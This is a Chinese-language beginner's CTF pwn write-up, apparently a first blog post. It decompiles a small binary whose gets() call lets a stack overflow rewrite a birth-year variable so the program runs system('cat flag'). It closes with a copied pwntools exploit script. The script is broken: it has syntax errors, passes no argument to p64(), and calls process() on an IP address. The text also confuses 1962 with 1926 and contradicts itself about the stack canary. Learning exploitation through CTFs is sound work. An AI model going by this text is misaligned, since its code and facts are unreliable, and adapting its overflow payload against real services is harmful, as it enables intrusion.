首先拿到elf文件(刚开始并不知道是elf文件)(这是Linux下的运行文件,类似windows的exe)
文件我更名成“bron”,再在Linux系统下用flie指令识别文件信息。
发现文件为x86-64位,并且为Linux下运行的文件。
我先尝试运行bron文件。
先不管运行结果,查一下“bron”程序的保护。
发现 canary found(金丝雀保护),但不用管,canary保护没开。
将文件丢入ida看一下
找到main函数,如果看不懂汇编就直接F5,生成伪代码(有时候伪代码并不可靠)
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax char v4; // [rsp+0h] [rbp-20h] unsigned int v5; // [rsp+8h] [rbp-18h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("What's Your Birth?"); __isoc99_scanf("%d", &v5); while ( getchar() != 10 ) ; if ( v5 == 1926 ) { puts("You Cannot Born In 1926!"); result = 0LL; } else { puts("What's Your Name?"); gets(&v4); printf("You Are Born In %d\n", v5); if ( v5 == 1926 ) { puts("You Shall Have Flag."); system("cat flag"); } else { puts("You Are Naive."); puts("You Speed One Second Here."); } result = 0LL; } return result; }
伪代码是类似c语言的代码,如果有看不懂的地方直接略过,主要观察if(),while()函数。
一般在pwn题中出现gtes(),就有可能出现栈溢出,之前运行程序时有两个获取字符串,一个"What's Your Birth?",一个"What's Your Name?"。
观察伪代码第一次字符串v5获取,如果输入1962,就会出现You Cannot Born In 1926!的返回字符串。然后观察获取第二次字符串v4,第二次if()需要第一次v5是1962.然后这就发生了矛盾。
这道pwn题,是用栈溢出来解题。
何为栈溢出?
缓冲区溢出:简单的说,缓冲区溢出就是超长的数据向小缓冲区复制,导致数据超出了小缓冲区,导致缓冲区其他的数据遭到破坏,这就是缓冲区溢出。而栈溢出是缓冲区溢出的一种,也是最常见的。只不过栈溢出发生在栈,堆溢出发生在堆,其实都是一样的。(复制粘贴的)
通俗易讲,就是用垃圾数据覆盖内存,在想要的位置输入1962这个字符串。
覆盖中间的内存
python脚本覆盖内存,然后content改为0,连接远程ip地址(复制别人的代码,才刚刚开始学python不会写。)
from pwn import * context(os='linux', arch="amd64", log_level="debug") content = 1 def main() if content == 1: peiqi = process(“文件名") else: peiqi = process(ip地址) payload = b'a'*(0x20 - 0x18) + p64() peiqi.recvuntil("What's Your Birth?\n") peiqi.sendline("1111") peiqi.recvuntil("What's Your Name?\n") peiqi.sendline(payload) peiqi.interactive() main
最后就获得flag了。
(第一次写博客,有些不对的地方请指正)